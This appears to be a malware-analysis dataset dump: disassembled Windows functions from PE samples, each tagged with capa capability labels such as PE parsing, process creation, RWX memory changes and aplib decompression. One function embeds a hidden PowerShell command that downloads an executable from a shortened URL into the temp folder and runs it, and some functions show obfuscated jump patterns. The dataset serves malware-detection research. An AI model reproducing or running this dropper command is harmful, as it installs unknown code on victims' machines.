joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4cbaec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cbb6a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cbb61
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cbb61
mov rax, qword [rbp - 8]
jmp 0x2fc4cbb7f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cbb34
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2c1c61380
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x4e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x470], rcx
lea rax, [rbp + 0x3f0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x3d0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x3f0], 0x68
mov dword [rbp + 0x42c], 1
mov word [rbp + 0x430], 0
lea rax, [rbp - 0x30]
movabs rcx, 0x20632f20646d63
mov qword [rax], rcx
mov rdx, qword [rbp + 0x470]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x3d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x3f0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x45c], eax
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x4e0
pop rbp
ret

Function at 0x2c1c614a1
Capabilities:
Terminate process

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1e0], rcx
mov dword [rbp + 0x1e8], edx
mov qword [rbp + 0x1f0], r8
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x1e0]
mov r8d, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
setne al
test al, al
je 0x2c1c6156b
lea rax, [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
call rax
mov dword [rbp + 0x1cc], eax
jmp 0x2c1c61536
mov eax, dword [rbp + 0x1cc]
cdqe
movzx eax, byte [rbp + rax + 0xb0]
cmp al, 0x5c
jne 0x2c1c6152f
mov eax, dword [rbp + 0x1cc]
cdqe
mov byte [rbp + rax + 0xb0], 0
jmp 0x2c1c6153f
sub dword [rbp + 0x1cc], 1
cmp dword [rbp + 0x1cc], 0
jns 0x2c1c61509
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.notepad
mov rcx, rax
call sym.PrintIsolationProxy.dll_int_sprintf_s_260ull__char_____260ull___char_const__::_
lea rax, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe__WindowStyle_Hidden__C__start_www.t.ly_miWHF___ProgressPreference__SilentlyContinue__iwr__Uri_rebrand.ly_8kdbw87__OutFile___env:TEMP_f.exe___.___env:TEMP_f.exe__
mov rcx, rax
call sym.PrintIsolationProxy.dll_execute_cmd_char_const_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 1
add rsp, 0x250
pop rbp
ret
Function at 0x2c1c61750
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x2c1c617c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2c1c67064]
mov rbx, rcx
test esi, esi
jle 0x2c1c618f0
mov rax, qword [0x2c1c67068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2c1c6180b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2c1c61895
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2c1c617f0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x2c1c61912
mov rax, qword [0x2c1c67068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2c1c67068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2c1c618f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x2c1c6188e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x2c1c618a0
add dword [0x2c1c67064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x2c1c67068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2c1c6188e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x2c1c61818
mov rax, qword [0x2c1c67068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2c1c61ca0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2c1c670a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2c1c67080]
test rbx, rbx
je 0x2c1c61cfc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x2c1c61cf3
test eax, eax
jne 0x2c1c61cf3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2c1c61cd8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x2c1c61f10
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x2c1c61f28
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x2c1c61f30
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x2c1c61f40
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x2c1c61f8d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x2c1c61f84
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x2c1c61f8f
add rax, 0x28
cmp rax, r9
jne 0x2c1c61f70
xor eax, eax
ret

Function at 0x2c1c61f90
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x2c1c62020
mov rdx, qword [0x2c1c64310]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x2c1c6200e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x2c1c6200e
cmp word [rax + 0x18], 0x20b
jne 0x2c1c6200e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x2c1c62020
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x2c1c61ff9
add rbx, 0x28
cmp rbx, rdi
je 0x2c1c62020
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x2c1c61ff0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x2c1c62030
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2c1c64310]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2c1c62050
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2c1c62058
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2c1c62050
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2c1c620ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2c1c620a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2c1c62050
add rax, 0x28
cmp rax, r9
jne 0x2c1c62090
xor eax, eax
ret

Function at 0x2c1c620b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2c1c64310]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2c1c620cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2c1c620d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2c1c620cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x2c1c620f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x2c1c64310]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x2c1c62110
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x2c1c62118
ret
cmp word [rdx + 0x18], 0x20b
jne 0x2c1c62110
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x2c1c62160
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x2c1c62157
test rcx, rcx
je 0x2c1c62110
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x2c1c62148
xor eax, eax
ret

Function at 0x2c1c62170
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2c1c64310]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2c1c6218f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2c1c62198
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x2c1c621b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2c1c64310]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2c1c621d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2c1c621d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2c1c621d0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x2c1c621d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x2c1c62224
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x2c1c62230
add rdx, 0x28
cmp r9, rdx
jne 0x2c1c62210
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x2c1c62240
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x2c1c64310]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x2c1c62262
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x2c1c62270
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2c1c62262
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x2c1c62262
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x2c1c62262
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x2c1c622c5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x2c1c622d8
add rdx, 0x28
cmp r10, rdx
jne 0x2c1c622b0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x2c1c622e7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x2c1c622f7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x2c1c622ce
test ecx, ecx
jg 0x2c1c622e0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140695790
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140695917
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406957c1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406957a7
add dl, dl
jne 0x1406957ce
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069582e
xor eax, eax
add dl, dl
jne 0x1406957dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406958e5
add dl, dl
jne 0x1406957ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406957fb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140695808
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140695815
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140695822
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406957b6
mov eax, 1
add dl, dl
jne 0x14069583e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069584b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140695833
sub eax, ebx
mov ebx, 1
jne 0x140695884
mov ecx, 1
add dl, dl
jne 0x140695866
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140695873
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069585b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406957b6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406958a0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406958ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140695895
cmp eax, 0x7d00
jae 0x1406958d3
cmp eax, 0x500
jb 0x1406958ce
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406957b6
cmp eax, 0x7f
ja 0x1406958d6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406957b6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14069590a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406957b6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x100630058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1006301df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x100630089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x10063006f
add dl, dl
jne 0x100630096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1006300f6
xor eax, eax
add dl, dl
jne 0x1006300a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1006301ad
add dl, dl
jne 0x1006300b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1006300c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1006300d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1006300dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1006300ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x10063007e
mov eax, 1
add dl, dl
jne 0x100630106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x100630113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1006300fb
sub eax, ebx
mov ebx, 1
jne 0x10063014c
mov ecx, 1
add dl, dl
jne 0x10063012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10063013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x100630123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x10063007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x100630168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x100630175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x10063015d
cmp eax, 0x7d00
jae 0x10063019b
cmp eax, 0x500
jb 0x100630196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x10063007e
cmp eax, 0x7f
ja 0x10063019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x10063007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1006301d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x10063007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1406c7b00
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406c7c87
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406c7b31
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406c7b17
add dl, dl
jne 0x1406c7b3e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406c7b9e
xor eax, eax
add dl, dl
jne 0x1406c7b4d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406c7c55
add dl, dl
jne 0x1406c7b5e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406c7b6b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406c7b78
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406c7b85
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406c7b92
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406c7b26
mov eax, 1
add dl, dl
jne 0x1406c7bae
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406c7bbb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406c7ba3
sub eax, ebx
mov ebx, 1
jne 0x1406c7bf4
mov ecx, 1
add dl, dl
jne 0x1406c7bd6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406c7be3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406c7bcb
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406c7b26
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406c7c10
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406c7c1d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406c7c05
cmp eax, 0x7d00
jae 0x1406c7c43
cmp eax, 0x500
jb 0x1406c7c3e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406c7b26
cmp eax, 0x7f
ja 0x1406c7c46
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406c7b26
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406c7c7a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406c7b26
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x64424dad058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.64424dad1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x64424dad089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x64424dad06f
add dl, dl
jne 0x64424dad096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x64424dad0f6
xor eax, eax
add dl, dl
jne 0x64424dad0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x64424dad1ad
add dl, dl
jne 0x64424dad0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x64424dad0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x64424dad0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x64424dad0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x64424dad0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x64424dad07e
mov eax, 1
add dl, dl
jne 0x64424dad106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x64424dad113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x64424dad0fb
sub eax, ebx
mov ebx, 1
jne 0x64424dad14c
mov ecx, 1
add dl, dl
jne 0x64424dad12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x64424dad13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x64424dad123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x64424dad07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x64424dad168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x64424dad175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x64424dad15d
cmp eax, 0x7d00
jae 0x64424dad19b
cmp eax, 0x500
jb 0x64424dad196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x64424dad07e
cmp eax, 0x7f
ja 0x64424dad19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x64424dad07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x64424dad1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x64424dad07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0xcb5030
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
je 0xcb5040
jne 0xcb5040
sub rsp, 0x28
mov rax, qword [rdx]
cmp dword [rax + 0x8c], 0
je 0xcb50eb
mov rsi, qword [rdx + 8]
mov edi, dword [rax + 0x88]
cmp dword [rdi + rsi + 0x18], 0
je 0xcb5088
jne 0xcb5088
je 0x49bf51b6
add r12, rsi
add rbx, rsi
je 0xcb50eb
cmp dword [rsi + rdi + 0x14], 0
je 0xcb50eb
mov r15, r8
mov r13, rcx
mov ebx, dword [rsi + rdi + 0x20]
mov r12d, dword [rsi + rdi + 0x24]
je 0xcb5069
jne 0xcb5069
je 0x758eafeb
and eax, 0x44e92375
mov esi, dword [rcx + rax]
Function at 0xcc2790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0xcc27c0
mov eax, dword [rax + 0x20]
mov dword [rdi + 0x38], eax
mov rcx, rbx
mov rdx, rsi
call r15
mov rcx, rdi
jmp 0xcc2870
xor r14d, r14d
xor edx, edx
jmp 0xcc28ff
mov rax, qword [rcx]
jmp 0xcc280b
push r15
je 0xcc28f6
jne 0xcc28f6
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
jmp 0xcc28de
mov rcx, rbp
jmp 0xcc28b1
mov r15, qword [sym.imp.itmkl_beo_UteNpt2HgazewrUmZvtjloS]
je 0xcc27d2
jne 0xcc27d2
jmp 0xffffffffffcdb34d
mov rax, qword [rcx]
call qword [rax + 0x30]
jmp 0xcc2796
call qword [rax + 8]
je 0xcc2914
jne 0xcc2914
jmp 0xccd508
jmp 0xcc28cc
